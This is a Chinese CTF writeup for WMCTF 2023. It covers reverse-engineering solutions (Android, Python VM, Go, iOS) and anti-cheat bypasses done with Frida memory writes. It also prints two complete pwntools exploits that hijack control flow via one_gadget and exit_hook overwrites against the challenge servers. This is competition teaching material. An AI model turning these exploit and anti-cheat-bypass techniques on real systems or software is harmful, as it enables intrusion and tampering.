2023 WMCTF writeup by W4ntY0u

admin 2023年8月23日01:26:06评论36 views字数 40026阅读133分25秒阅读模式

2023 WMCTF writeup by W4ntY0u

HEADER

团队简介:

      山海关安全团队(www.shg-sec.com)是一支专注网络安全的实战型团队,队员均来自国内外各大高校与企事业单位,主要从事漏洞挖掘、情报分析、反涉网犯罪研究。Arr3stY0u(意喻”逮捕你“)战队与W4ntY0u(意喻”通缉你“)预备队隶属于CTF组,我们积极参与国内外各大网络安全竞赛的同时并依托高超的逆向分析与情报分析、渗透测试技术为群众网络安全保驾护航尽一份力,简单粗暴,向涉网犯罪开炮。

REVERSE

ezAndroid:

安卓签到题 ollvm+rc4魔改+aes魔改,java层的逻辑比较简单。

public void CheckOutClick(View view) {    String username = this.usernameInput.getText().toString();    String password = this.passwordInput.getText().toString();    if (username.equals("") || password.equals("")) {        messageBox("username or password is empty!");    } else if (CheckUsername(username) != 1) {        messageBox("failed login");    } else {        x = username + "123456";        if (check2(password) != 1) {            messageBox("failed login");            return;        }        String flag = "WMCTF{" + username + password + "}";        messageBox(flag);    }}

so .init_array有四个函数

0x2DE8 init enc_username0x2FB4 patch aes sbox0x3304 init enc_password0x3538 应该是反调试 没细看

第一部分:

rc4魔改 异或下标

buf[index] = data[index] ^ v22[(unsigned __int8)(v22[v21 + 256] + v22[v15 + 256]) + 256] ^ index;
// 0x3DCC:rc4(username, outbuf, v20, key, v50);//   *(_WORD *)&v3[8] = 0x43AB;//   *(_QWORD *)v3 = 0xC1BDEB7EE66497E9LL;v14 = memcmp(v30, enc_username, 10u);

解完rc4得到'Rd]2wZcf[p' ,然后异或下标得到第一部分的flag。

a = b'Rd]2wZcf[p'b = [0]*len(a)for i in range(len(a)):    b[i] = (a[i]^i)print(bytes(b)) # 'Re_1s_eaSy'

第二部分:

// 0x4364:aes((__int64)buf_passwd, 16, str_x);// g_enc_passwordv4 = memcmp(enc_password, buf_passwd, v8);

计算逆s盒:

sbox = [0x29, 0x40, 0x57, 0x6E, 0x85, 0x9C, 0xB3, 0xCA, 0xE1, 0xF8, 0x0F, 0x26, 0x3D, 0x54, 0x6B, 0x82, 0x99, 0xB0, 0xC7, 0xDE, 0xF5, 0x0C, 0x23, 0x3A, 0x51, 0x68, 0x7F, 0x96, 0xAD, 0xC4, 0xDB, 0xF2, 0x09, 0x20, 0x37, 0x4E, 0x65, 0x7C, 0x93, 0xAA, 0xC1, 0xD8, 0xEF, 0x06, 0x1D, 0x34, 0x4B, 0x62, 0x79, 0x90, 0xA7, 0xBE, 0xD5, 0xEC, 0x03, 0x1A, 0x31, 0x48, 0x5F, 0x76, 0x8D, 0xA4, 0xBB, 0xD2, 0xE9, 0x00, 0x17, 0x2E, 0x45, 0x5C, 0x73, 0x8A, 0xA1, 0xB8, 0xCF, 0xE6, 0xFD, 0x14, 0x2B, 0x42, 0x59, 0x70, 0x87, 0x9E, 0xB5, 0xCC, 0xE3, 0xFA, 0x11, 0x28, 0x3F, 0x56, 0x6D, 0x84, 0x9B, 0xB2, 0xC9, 0xE0, 0xF7, 0x0E, 0x25, 0x3C, 0x53, 0x6A, 0x81, 0x98, 0xAF, 0xC6, 0xDD, 0xF4, 0x0B, 0x22, 0x39, 0x50, 0x67, 0x7E, 0x95, 0xAC, 0xC3, 0xDA, 0xF1, 0x08, 0x1F, 0x36, 0x4D, 0x64, 0x7B, 0x92, 0xA9, 0xC0, 0xD7, 0xEE, 0x05, 0x1C, 0x33, 0x4A, 0x61, 0x78, 0x8F, 0xA6, 0xBD, 0xD4, 0xEB, 0x02, 0x19, 0x30, 0x47, 0x5E, 0x75, 0x8C, 0xA3, 0xBA, 0xD1, 0xE8, 0xFF, 0x16, 0x2D, 0x44, 0x5B, 0x72, 0x89, 0xA0, 0xB7, 0xCE, 0xE5, 0xFC, 0x13, 0x2A, 0x41, 0x58, 0x6F, 0x86, 0x9D, 0xB4, 0xCB, 0xE2, 0xF9, 0x10, 0x27, 0x3E, 0x55, 0x6C, 0x83, 0x9A, 0xB1, 0xC8, 0xDF, 0xF6, 0x0D, 0x24, 0x3B, 0x52, 0x69, 0x80, 0x97, 0xAE, 0xC5, 0xDC, 0xF3, 0x0A, 0x21, 0x38, 0x4F, 0x66, 0x7D, 0x94, 0xAB, 0xC2, 0xD9, 0xF0, 0x07, 0x1E, 0x35, 0x4C, 0x63, 0x7A, 0x91, 0xA8, 0xBF, 0xD6, 0xED, 0x04, 0x1B, 0x32, 0x49, 0x60, 0x77, 0x8E, 0xA5, 0xBC, 0xD3, 0xEA, 0x01, 0x18, 0x2F, 0x46, 0x5D, 0x74, 0x8B, 0xA2, 0xB9, 0xD0, 0xE7, 0xFE, 0x15, 0x2C, 0x43, 0x5A, 0x71, 0x88, 0x9F, 0xB6, 0xCD, 0xE4, 0xFB, 0x12]rsbox = [0]*256
for i in range(256):    rsbox[i] = sbox.index(i)
print(rsbox)

AES解密:

下载tiny-AES-c,然后把sbox和rsbox替换成题目所需,就能正常解密出flag了

#include <stdio.h>
unsigned char hexData[16] = {    0x2B, 0xC8, 0x20, 0x8B, 0x5C, 0x0D, 0xA7, 0x9B, 0x2A, 0x51, 0x3A, 0xD2, 0x71, 0x71, 0xCA, 0x50 };
int main() {  struct AES_ctx ctx;
  AES_init_ctx(&ctx, (uint8_t *)"Re_1s_eaSy123456");  AES_ECB_decrypt(&ctx, hexData);  printf("%sn", hexData); // _eZ_Rc4_@nd_AES!}

拼起来得到完整flag:

WMCTF{Re_1s_eaSy_eZ_Rc4_@nd_AES!}

RightBack:

不会去花,做复杂了。先用xdis反汇编pyc。

动态trace脚本:

import RightBackimport sys
g_eip_set = set()def test(a,b,c):    global b64    code = a.f_code    if 'RightBack.py' in str(a):        s = f'{code.co_name} {a.f_locals}'        print(s.ljust(50, ' ') , a.f_globals.get('REG', {}))        if 'REG' in a.f_globals:            g_eip_set.add(a.f_globals['REG']['EIP'])        if 'Fun' == code.co_name:            print(a.f_globals['extendKey'])
sys.settrace(test)

RightBack.Sbox = [82, 9, 106, 213, 48, 54, 165, 56, 191, 64, 163, 158, 129, 243, 215, 251, 124, 227, 57, 130, 155, 47, 255, 135, 52, 142, 67, 68, 196, 222, 233, 203, 84, 123, 148, 50, 166, 194, 35, 61, 238, 76, 149, 11, 66, 250, 195, 78, 8, 46, 161, 102, 40, 217, 36, 178, 118, 91, 162, 73, 109, 139, 209, 37, 114, 248, 246, 100, 134, 104, 152, 22, 212, 164, 92, 204, 93, 101, 182, 146, 108, 112, 72, 80, 253, 237, 185, 218, 94, 21, 70, 87, 167, 141, 157, 132, 144, 216, 171, 0, 140, 188, 211, 10, 247, 228, 88, 5, 184, 179, 69, 6, 208, 44, 30, 143, 202, 63, 15, 2, 193, 175, 189, 3, 1, 19, 138, 107, 58, 145, 17, 65, 79, 103, 220, 234, 151, 242, 207, 206, 240, 180, 230, 115, 150, 172, 116, 34, 231, 173, 53, 133, 226, 249, 55, 232, 28, 117, 223, 110, 71, 241, 26, 113, 29, 41, 197, 137, 111, 183, 98, 14, 170, 24, 190, 27, 252, 86, 62, 75, 198, 210, 121, 32, 154, 219, 192, 254, 120, 205, 90, 244, 31, 221, 168, 51, 136, 7, 199, 49, 177, 18, 16, 89, 39, 128, 236, 95, 96, 81, 127, 169, 25, 181, 74, 13, 45, 229, 122, 159, 147, 201, 156, 239, 160, 224, 59, 77, 174, 42, 245, 176, 200, 235, 187, 60, 131, 83, 153, 97, 23, 43, 4, 126, 186, 119, 214, 38, 225, 105, 20, 99, 85, 33, 12, 125]RightBack.Rcon = [16777216, 33554432, 67108864, 134217728, 268435456, 536870912, 1073741824, 2147483648, 452984832, 905969664]
RightBack.reg_table = {'1':'EAX','2':'EBX','3':'ECX','4':'EDX','5':'R8','6':'CNT','7':'EIP',}
RightBack.extendKey = RightBack.p2(b'CalmDownBelieveU')# RightBack.extendKey = 44*[0]RightBack.opcode = bytes.fromhex('500303001d010103500303011d0102031d030601710102500203015002050272021f290102500304209602040274030457010350020206dc030202500103021d02010350020205710201500203025002040172041f290204500305209602050474030557020350020306dc0303021d030301500104031d0202040799ff')

back = RightBack.Fun(b'0'*8+b'1'*8+b'2'*8+b'3'*8+b'4'*8+b'5'*8+b'6'*8+b'7'*8)

print(back.hex())
print(g_eip_set)print(RightBack.extendKey)

VM字节码转伪代码。

eip_set = [0, 4, 8, 12, 16, 20, 23, 27, 31, 34, 37, 41, 45, 48, 51, 55, 59, 63, 67, 71, 74, 78, 82, 85, 88, 92, 96, 99, 102, 106, 110, 114, 118, 122, 123, 124]
bytecode = bytes.fromhex('500303001d010103500303011d0102031d030601710102500203015002050272021f290102500304209602040274030457010350020206dc030202500103021d02010350020205710201500203025002040172041f290204500305209602050474030557020350020306dc0303021d030301500104031d0202040799ff')
ins = b''pc = 0while True:    if pc in eip_set or pc >= len(bytecode):        t = ''        if ins:            if ins[0] == 0x50:                v1, v2, v3 = ins[1], ins[2], ins[3]                if v1 == 1:                    t = f'F2   | r{v2} = extendKey[r{v3}]'                elif v1 == 2:                    t = f'F2   | r{v2} = r{v3}'                elif v1 == 3:                    t = f'F2   | r{v2} = {v3}'            elif ins[0] == 0x1D:                v1, v2, v3 = ins[1], ins[2], ins[3]                if v1 == 1:                    t = f'F3   | r{v2} += extendKey[r{v3}]'                elif v1 == 2:                    t = f'F3   | r{v2} += r{v3}'                elif v1 == 3:                    t = f'F3   | r{v2} += {v3}'            elif ins[0] == 0x71:                t = f'F4   | r{ins[1]} ^= r{ins[2]}'            elif ins[0] == 0x72:                t = f'F5   | r{ins[1]} &= {ins[2]}'            elif ins[0] == 0x96:                v1, v2, v3 = ins[1], ins[2], ins[3]                if v1 == 1:                    t = f'F6   | r{v2} -= extendKey[r{v3}]'                elif v1 == 2:                    t = f'F6   | r{v2} -= r{v3}'                elif v1 == 3:                    t = f'F6   | r{v2} -= {v3}'            elif ins[0] == 0x57:                t = f'F7   | r{ins[1]} |= r{ins[2]}'            elif ins[0] == 0x74:                t = f'F8   | r{ins[1]} >>= r{ins[2]}'            elif ins[0] == 0x29:                t = f'F9   | r{ins[1]} <<= r{ins[2]}'            elif ins[0] == 0xDC:                v1, v2, v3 = ins[1], ins[2], ins[3]                if v1 == 1:                    t = f'FA   | r{v2} *= extendKey[r{v3}]'                elif v1 == 2:                    t = f'FA   | r{v2} *= r{v3}'                elif v1 == 3:                    t = f'FA   | r{v2} *= {v3}'            elif ins[0] == 0x07:                t = f'FB   | cmp r6, 21'            elif ins[0] == 0x99:                t = f'WC   | jne L_10'
        print(f'{ins.hex():<10} {t}')        print(f'{pc:04X} ', end='')        ins = b''        if pc >= len(bytecode):            break    ins += bytes([bytecode[pc]])    pc += 1

vm伪代码:

0000 50030300   F2   | r3 = 00004 1d010103   F3   | r1 += extendKey[r3]0008 50030301   F2   | r3 = 1000C 1d010203   F3   | r2 += extendKey[r3]0010 1d030601   F3   | r6 += 10014 710102     F4   | r1 ^= r20017 50020301   F2   | r3 = r1001B 50020502   F2   | r5 = r2001F 72021f     F5   | r2 &= 310022 290102     F9   | r1 <<= r20025 50030420   F2   | r4 = 320029 96020402   F6   | r4 -= r2002D 740304     F8   | r3 >>= r40030 570103     F7   | r1 |= r30033 50020206   F2   | r2 = r60037 dc030202   FA   | r2 *= 2003B 50010302   F2   | r3 = extendKey[r2]003F 1d020103   F3   | r1 += r30043 50020205   F2   | r2 = r50047 710201     F4   | r2 ^= r1004A 50020302   F2   | r3 = r2004E 50020401   F2   | r4 = r10052 72041f     F5   | r4 &= 310055 290204     F9   | r2 <<= r40058 50030520   F2   | r5 = 32005C 96020504   F6   | r5 -= r40060 740305     F8   | r3 >>= r50063 570203     F7   | r2 |= r30066 50020306   F2   | r3 = r6006A dc030302   FA   | r3 *= 2006E 1d030301   F3   | r3 += 10072 50010403   F2   | r4 = extendKey[r3]0076 1d020204   F3   | r2 += r4007A 07         FB   | cmp r6, 21007B 99         WC   | jne L_10007C ff007D

模拟出加密算法:

import struct

extendKey = [1835819331, 1853321028, 1768711490, 1432712805, 2177920767, 4020699579, 2261476601, 3551400604, 711874531, 3318306392, 1124217505, 2427199549, 3099853672, 2098025776, 1041196945, 2929936300, 246748610, 1941455090, 1303848803, 3809763535, 1395557789,             546751855, 1830937100, 2385871555, 2516030638, 3043054017, 3628118989, 1450520846, 1825094265, 3651791800, 32069749, 1469868411, 919887482, 4017993154, 4002737591, 3104343244, 4134211933, 420914335, 4152510760, 1317719524, 1990496755, 1873950060, 2553314372, 3602559392]enc_flag = bytes.fromhex(    '043af23656b19afcf71e21dcdb8f8e944d34e79d9c520c6efbfad5fd32f9782cbbbe39c1d98575b628f8cc78a4e485920ebd72c5af87912a8bf1ef961660d112')data = struct.unpack(    '>16I', b'0123456711111111222222223333333344444444555555556666666677777777')r1 = 0r2 = 0enc_data = b''
for x in range(0, 16, 2):    r1 ^= data[x]    r2 ^= data[x+1]    r6 = 0    r1 = (r1+extendKey[0]) & 0xFFFFFFFF    r2 = (r2+extendKey[1]) & 0xFFFFFFFF    for i in range(21):        r6 += 1        r1 ^= r2        r3 = r1        r5 = r2        r2 &= 31        r1 = (r1 << r2) & 0xFFFFFFFF
        r1 |= r3 >> (32-r2)        r1 = (r1+extendKey[r6 * 2]) & 0xFFFFFFFF        r2 = r5 ^ r1        r3 = r2        r4 = r1 & 31        r2 = (r2 << r4) & 0xFFFFFFFF
        r2 |= r3 >> (32 - r4)        r2 = (r2+extendKey[r6 * 2 + 1]) & 0xFFFFFFFF
    enc = struct.pack('>2I', r1, r2)    print(enc.hex())    enc_data += encprint(enc_data.hex())
# enc_data == enc_flag

解密flag:

from Crypto.Util.number import long_to_bytesimport claripy
flag = []
extendKey = [1835819331, 1853321028, 1768711490, 1432712805, 2177920767, 4020699579, 2261476601, 3551400604, 711874531, 3318306392, 1124217505, 2427199549, 3099853672, 2098025776, 1041196945, 2929936300, 246748610, 1941455090, 1303848803, 3809763535, 1395557789,             546751855, 1830937100, 2385871555, 2516030638, 3043054017, 3628118989, 1450520846, 1825094265, 3651791800, 32069749, 1469868411, 919887482, 4017993154, 4002737591, 3104343244, 4134211933, 420914335, 4152510760, 1317719524, 1990496755, 1873950060, 2553314372, 3602559392]
enc = list(bytes.fromhex(    "043af23656b19afcf71e21dcdb8f8e944d34e79d9c520c6efbfad5fd32f9782cbbbe39c1d98575b628f8cc78a4e485920ebd72c5af87912a8bf1ef961660d112"))enc_int = []for i in range(0, len(enc), 4):    tmp = ""    for j in range(4):        tmp += hex(enc[i+j])[2:].zfill(2)    enc_int.append(int(tmp, 16))
for rd in range(len(enc_int)-2, -1, -2):    r1 = claripy.BVS("r1", 33)    r1_copy = r1    r2 = claripy.BVS("r2", 33)    r2_copy = r2    r3 = 0    r4 = 0    r5 = 0    r6 = 0    r1 += extendKey[r3]    r1 &= 0xFFFFFFFF    r3 = 1    r2 += extendKey[r3]    r2 &= 0xFFFFFFFF    for i in range(21):        r6 += 1        r1 ^= r2        r3 = r1        r5 = r2        r2 &= 31        r1 = (r1 << r2) & 0xFFFFFFFF        r1 |= r3 >> (32-r2)        r1 = (r1+extendKey[r6 * 2]) & 0xFFFFFFFF        r2 = r5 ^ r1        r3 = r2        r4 = r1 & 31        r2 = (r2 << r4) & 0xFFFFFFFF        r2 |= r3 >> (32 - r4)        r2 = (r2+extendKey[r6 * 2 + 1]) & 0xFFFFFFFF    s = claripy.Solver()    s.add(r1 == enc_int[rd])    s.add(r2 == enc_int[rd+1])    print(s.check_satisfiability())    if rd == 0:        flag.append(s.eval(r2_copy, 10)[0])        flag.append(s.eval(r1_copy, 10)[0])    else:        flag.append(s.eval(r2_copy, 10)[0] ^ enc_int[rd-1])        flag.append(s.eval(r1_copy, 10)[0] ^ enc_int[rd-2])
flag = flag[::-1]
for i in flag:    print(long_to_bytes(i).decode(), end="")# WMCTF{G00dEv3ning!Y0uAreAwes0m3!!RightBackFromB1ackM1rr0r!WOW!!}

BabyAnti-2.0:

用的安卓模拟器做的,先把libanticheat.so里面的三个is_检测函数patch了。非了。

Java.perform(function() {    let AntiCheatPlugin = Java.use("com.WMCTF2023.anti_cheat.AntiCheatPlugin");
    AntiCheatPlugin["a"].implementation = function (i2, i3) {        console.log(`AntiCheatPlugin.a is called: i2=${i2}, i3=${i3}`);
        console.log(i2._a.value);
        this["a"](i2, i3);    };

    AntiCheatPlugin["b"].implementation = function (i2, i3) {        console.log(`AntiCheatPlugin.b is called: i2=${i2}, i3=${i3}`);        let result = this["b"](i2, i3);        console.log(`AntiCheatPlugin.b result=${result}`);        return true;    };
    let Random = Java.use("java.util.Random");
    Random["nextInt"].overload().implementation = function () {        console.log(`nextInt is called: `);        let result = this["nextInt"]();        console.log(`nextInt result=${result}`);        return result;    };

    console.log(AntiCheatPlugin.b)});// https://www.cnblogs.com/Only-xiaoxiao/p/17294561.html// 上面的脚本是搜VNCTF BabyAnti WP抄来的,不确定有没有起到作用。
// 直接用CE写会触发内存检测。// 用CE搜当前得分, 然后用frida写入,然后就弹出flag了ptr(0x701A00329AD0).writeInt(5000)// WMCTF{We1c0me_t0_Th3_W0r1d_0f_MemTr4p#^-^}

gohunt:

一道简单的go动调题,部分库函数inline了,看着比较杂乱,多调试几次拿到数据就能理清楚了。

算法逻辑:输入的测试数据是00000000

  // 'Please enter a flag:'  __fmt_pp__printArg(v8, __PAIR128__(v7, &unk_20D668), 118);
  // read_flag  __fmt_ss__doScan(r.typecode, *xxtea_key);
  // FMT2ZCEHS6pcfD2R  v13 = __encoding_base64_Encoding__DecodeString(aG6cdei4xgd7ojk, __PAIR128__(v12, 24LL));  ...   xxtea  ...  // NPWrpd1CEJH2QcJ3  xor_key = v35;  v38 = v36;  v39 = runtime_alloc(v16, 3LL);  for ( j = 0LL; v16 != j; ++j )  {    if ( !v38 )      goto LABEL_558;    if ( j % v38 >= v38 )      goto LABEL_533;    v39[j] = xor_key[j % v38] ^ b_flag[j];  }  v41 = 0LL;  // 00000000->  // 62 46 2c c0 bc ac d8 ed 4a c8 d9 ef 00 00 00 00  v572 = v39;  v42 = math_big_NewInt(0LL);  v43 = _math_big_nat__make(v42->abs.ptr, v42->abs.cap, (v16 + 7LL) / 8LL);  v45 = v39;  v47 = v46;  for...  if...  v588 = v16;  // ef d9 c8 4a ed d8 ac bc  c0 2c 46 62 00 00 00 00  v42->abs.ptr = _math_big_nat__norm(v43, v44, v47);  // 转58进制  for ...      // 'nY7TwcE41bzWvMQZXa8fyeprJoBdmhsu9DqVgxRPtFLKN65UH2CikG3SAj'      LOBYTE(z.len) = main_alloc_484[v150];      v56 = runtime_sliceAppend(v56, &z.len, v145, srcCap, 1uLL, 1uLL);
  // r15 = 4pizdvHLv3gmDq92Y  v59 = 0LL;LABEL_121:
  // r15 = enc_flag  iii = 0LL;  v158 = 0LL;  if ( v588 > 0LL )    v158 = v588;  while ( v158 != iii )  {    if ( v588 == iii )      goto LABEL_533;    // 62 46 2c c0 bc ac d8 ed 4a c8 d9 ef 00 00 00 00    if ( v155[iii] )      break;    v159 = runtime_alloc(1uLL, 3LL);    *v159 = 0x6E;    v160 = runtime_sliceAppend(v159, v56, 1uLL, 1uLL, v59, 1uLL);    v155 = v572;    v56 = v160;    v59 = v161;    ++iii;  }  out_enc_flag = runtime_stringFromBytes(v56, v59);  v164 = v163;  v165 = runtime_alloc(0x18uLL, 3LL);  *(v165 + 8LL) = _mm_load_si128(&xmmword_200860);  v166 = runtime_alloc(0xA0uLL, 0x101F2A9LL);  v167.ptr = out_enc_flag;  v167.length = v164;  // 00000000->  // Y29qDmg3vLHvdzip4  // 63 6f 6a 0e 68 37 bc b1 ef 77 38 a9   v168 = runtime_stringToBytes(v167).ptr;// 到这里算法逻辑就结束了后面的1000多行代码是生成二维码。

解密flag:

from libnum import n2stable = 'nY7TwcE41bzWvMQZXa8fyeprJoBdmhsu9DqVgxRPtFLKN65UH2CikG3SAj'key = b'NPWrpd1CEJH2QcJ3'
inp = b'00000000'# xxtea(inp)tmp_flag = bytearray.fromhex('2c 16 7b b2 cc c8 e9 ae 0f 82 91 dd')for i in range(len(tmp_flag)):    tmp_flag[i] ^= key[i % len(key)]
tmp = int('0x'+tmp_flag.hex(), 16)
s = ''# tmp = 0x62462cc0bcacd8ed4ac8d9efwhile tmp:    tmp, rem = divmod(tmp, 58)    s += table[rem]s = s[::-1]print(s)
# enc_flag = senc_flag = 'YMQHsYFQu7kkTqu3Xmt1ruYUDLU8uaMoPpsfjqYF4TQMMKtw5KF7cpWrkWpk3's = enc_flagtmp = 0for i in range(len(s)):    tmp *= 58    tmp += table.index(s[i])print(hex(tmp))
tmp_flag = bytearray(n2s(tmp))for i in range(len(tmp_flag)):    tmp_flag[i] ^= key[i % len(key)]print(tmp_flag.hex())# 9577b998e8d2960c1becc680f6004a581ea68ab15b4278b3feb44972d1c43ac537e09aff5062cc0c90026e1c

再进行一次xxtea解密就得到flag了

package main
import (  "encoding/hex"  "fmt"
  "github.com/xxtea/xxtea-go/xxtea")
func main() {  key := "FMT2ZCEHS6pcfD2R"  byteData, _ := hex.DecodeString("9577b998e8d2960c1becc680f6004a581ea68ab15b4278b3feb44972d1c43ac537e09aff5062cc0c90026e1c")  decrypt_data := string(xxtea.Decrypt(byteData, []byte(key)))  fmt.Println(decrypt_data)}

ezIos:

一道加了反调试和ollvm的ios逆向题目。

没设备和调试环境只能尝试静态或者模拟。

0x100004A9C rc40x100005434 xtea_dec0x1000084DC lower_dedup_strcat 对输入进行小写+去重的操作并添加到末尾。0x1000091E4 check函数 输入是flag0x10000AAE4 获取两个字符串常量 com.ctf.running和TFVQV299BT

算法大致逻辑伪代码

check(inp):  // v99 = com.ctf.running    // v100 = TFVQV299BT    sub_10000AAE4((__int64)&v100, (__int64)&v99); // 后续用qiling模拟拿到。  ...    *(_OWORD *)tea_key = 0u;    v121 = 0u;    lower_dedup_strcat(v100, (char *)tea_key);    free(v100);    lower_dedup_strcat(v99, (char *)tea_key);    free(v99);  // tea_key = 'tfvq29bcom.runig'  ...    xtea(_enc_flag, (__int64)tea_key);    _enc_flag += 8;    xtea(_enc_flag, (__int64)tea_key);
  rc4(tea_key, key_len, inp, buf_size, tmp_flag);
  for (int v96 =0; v96 < 16; v96++)    v88 = enc_flag[v96] != tmp_flag[v96];  return v88;

可以看出来算法比较简单,静态除了拿不到那两个字符串外,整个算法逻辑都可以很快的理清楚。

key是通过两个字符串常量去重拼接后得来的,接下来用qiling模拟。

from qiling import Qilingfrom qiling.const import QL_VERBOSEfrom capstone import Csfrom capstone.arm64_const import *

def simple_disassembly(ql: Qiling, address: int, size: int, md: Cs) -> None:    buf = ql.mem.read(address, size)    insn = next(md.disasm(buf, address))    # ql.log.debug(f':: {insn.address:#x} : {insn.mnemonic:24s} {insn.op_str}')
    if insn.id == ARM64_INS_BL:        dest = insn.operands[0].imm        if dest == 0x10000d788:  # free            ql.arch.regs.arch_pc += size        elif dest == 0x10000D95C:  # strdup            ql.arch.regs.arch_pc += size        elif dest == 0x10000D6C8:  # _dyld_get_image_name            ql.arch.regs.x0 = 0            ql.arch.regs.arch_pc += size        elif dest == 0x10000D6BC:  # _dyld_get_image_header            ql.arch.regs.x0 = 0x100000000            ql.arch.regs.arch_pc += size        elif dest == 0x10000D6D4:  # _dyld_get_image_vmaddr_slide            ql.arch.regs.x0 = 0            ql.arch.regs.arch_pc += size    elif address == 0x100009D84:        print('CMP', hex(ql.arch.regs.w8), hex(ql.arch.regs.w9))

# 没有dyld不要怕, 随便找个ios程序改个名伪装一下.ql = Qiling(["./UnCrackable Level 3"], ".", verbose=QL_VERBOSE.DEBUG)
ql.arch.disassembler.detail = Trueql.hook_code(simple_disassembly, user_data=ql.arch.disassembler)
ql.mem.map(0x6F10010000, 0x10000)ql.arch.regs.x0 = 0x6F10010000
ql.mem.write(ql.arch.regs.x0, b'K3p1n2un#1n9!$#@')  # flag可以爆ql.run(0x1000091E4, 0x10000A998)print(ql.arch.regs.x0)

爆破或者把xtea的解密结果拿出来用RC4解密都可以得到flag。

PWN

jit:

都在代码里了

from pwn import *

context.terminal = ['cmd.exe', '/c', 'start',                    'wt.exe', 'wsl.exe', 'bash', '-c']context.binary = './jit'REMOTE = 1if REMOTE:  # REMOTE    r = remote('1.13.101.243', 28805)else:    r = process('./jit')sd, sa, sl, sla = r.send, r.sendafter, r.sendline, r.sendlineafterrv, rl, ru, ia = r.recv, r.recvline, r.recvuntil, r.interactive

# rax rdi rsi rdx r9# r8 rbx r13 r14 r15 rbpm_regs = ['rax', 'rdi', 'rsi', 'rdx', 'r9',          'r8', 'rbx', 'r13', 'r14', 'r15', 'rbp']

def Inst(opcode, dst=0, src=0, offset=0, imm=0):    if isinstance(dst, str):        dst = m_regs.index(dst.lower().strip())    if isinstance(src, str):        src = m_regs.index(src.lower().strip())
    inst = 0    inst |= opcode    inst |= dst << 8    inst |= src << 12    inst |= offset << 16    inst |= imm << 32    return inst

if not REMOTE:    script = '''b *$rebase(0x2947)csi
    pid, gdb_io = gdb.attach(r, script, api=True)    sleep(1)
 RAX  0x7f73a0c89000 ◂— push rbp RBX  0x560fde308088 $rebase(0xE088) R12  0x560fdfd765c0 —▸ 0x560fdfd76480 —▸ 0x560fdfd7642f ◂— 0x0 RBP  0x7fffe76cd218 ◂— 0x0*RSP  0x7fffe76cd1f8 —▸ 0x560fde2fc949 ◂— mov edx, 8
0xe3b04 execve("/bin/sh", rsi, rdx)constraints:  [rsi] == NULL || rsi == NULL  [rdx] == NULL || rdx == NULL
# https://github.com/iovisor/bpf-docs/blob/master/eBPF.mddef add_i(dst, imm): return Inst(0x07, dst, imm=imm)def add_r(dst, src): return Inst(0x0f, dst, src)def sub_i(dst, imm): return Inst(0x17, dst, imm=imm)def mov_i(dst, imm): return Inst(0xb7, dst, imm=imm)def mov_r(dst, src): return Inst(0xbf, dst, src)
def ld8(dst, src, off=0): return Inst(0x79, dst, src, off)def st8_r(dst, src, off=0): return Inst(0x7b, dst, src, off)# rax rdi rsi rdx r9 r8 rbx r13 r14 r15 rbpprog = flat([    sub_i('rbx', 0xE088),  # ELF 没用到    mov_r('rdi', 'rbp'),    sub_i('rdi', 0x200),  # rsp 没用到
    # $rbp+0x138 0x7fe94e175e40 (__libc_start_main+128)    ld8('rax', 'rbp', 0x138),
    sub_i('rax', 0x24083),  # libc 向前滑动 直到打印出 elf magic    mov_r('r14', 'rax'),    # ld8('rax', 'rax'), # 0xXXXXXXX464C457F
    # ld8('rax', 'rax', 0x18), # start 0x241c0    # add_r('rax', 'r14'),
    mov_r('r15', 'rbp'),    add_i('r15', 0x28), # 指向返回地址
    # st8_r('r15', 'rax'), # GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.9) stable release version 2.31.
    mov_i('rsi', 0),    mov_i('rdx', 0),
    add_i('r14', 0xe3b04), # ogg
    st8_r('r15', 'r14'),])mem = flat([])
sla(b'Program: ', prog.hex().encode())sla(b'Memory: ', mem.hex().encode())
# print(rl().decode())# pause()ia()
# WMCTF{you_realy_know_how_to_pwn}

大概思路就是泄露出libc版本号后写ogg到返回地址。

blindless:

思路:

一开始data的size没有检查,如果size填写的足够大,data起始指针会指向由mmap创建的内存区域。这段内存会在libc地址前的一个固定位置,利用@指令去让data指针增大一个固定值,就可以穿过libc指向_rtld_global内的函数指针,之后可以低位覆盖三个字节将其覆盖成onegadget去打exit_hook,概率为1/4096,需要爆破,大约需要爆好几分钟。

没有利用到程序给的后门,不知道是不是非预期。

from pwn import *
context.terminal=['tmux','splitw','-h']context.arch='amd64'#context.log_level='debug'
ELFpath='/home/wjc/Desktop/main' #libcpath='/home/wjc/glibc-all-in-one-master/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so'
#p=process(ELFpath)#p=gdb.debug(ELFpath,"b*$rebase(0x2770)")#p=remote('123.60.179.52',30098)
e=ELF(ELFpath)#libc=ELF(libcpath)
rut=lambda s :p.recvuntil(s,timeout=0.5)ru=lambda s :p.recvuntil(s)r=lambda n :p.recv(n)sl=lambda s :p.sendline(s)sls=lambda s :p.sendline(str(s))ss=lambda s :p.send(str(s))s=lambda s :p.send(s) uu64=lambda data :u64(data.ljust(8,'x00'))it=lambda :p.interactive()b=lambda :gdb.attach(p)bp=lambda bkp:gdb.attach(p,'b *'+str(bkp))get_leaked_libc = lambda :u64(ru('x7f')[-6:].ljust(8,'x00'))get_addr_num = lambda :int(r(12),16)
LOGTOOL={}def LOGALL():    log.success("**** all result ****")    for i in LOGTOOL.items():        log.success("%-20s%s"%(i[0]+":",hex(i[1])))
def get_base(a, text_name):    text_addr = 0    libc_base = 0    for name, addr in a.libs().items():        if text_name in name:            text_addr = addr        elif "libc" in name:            libc_base = addr     return text_addr, libc_basedef debug():    global p    text_base, libc_base = get_base(p, 'noka')    script = '''    set $text_base = {}    set $libc_base = {}
    b*$rebase(0x14cc)

    '''.format(text_base, libc_base)    #    b*$rebase(0x124f)    #b*$rebase(0x1220)    # b*$rebase(0x887b)    gdb.attach(p, script)
def ptrxor(pos,ptr):    return p64((pos >> 12) ^ ptr)

def pwn():    ru("Pls input the data sizen")    sl("1048576")    ru("Pls input the code sizen")    sl("256")    ru("Pls input your coden")    pay="@"+p32(0x101000-0x10)+'@'+p32(0x222f68)+'.xfe@'+p32(1)+'.x6a@'+p32(1)+'.xebq'    pay=pay.ljust(0x100,'x00')    s(pay)
    sl('cat /flag')    rut('flag{')
#debug()#pwn()#it()#0x222f68#eb 6a fe
if __name__=='__main__':    while(1):        try:            #p=process(ELFpath)            p=remote('1.13.101.243',27000)
            pwn()            it()            break        except:            p.close()

CRYPTO

badprime:

2023 WMCTF writeup by W4ntY0u

类似于ROCA,即:

2023 WMCTF writeup by W4ntY0u

输入M,得到:

2023 WMCTF writeup by W4ntY0u

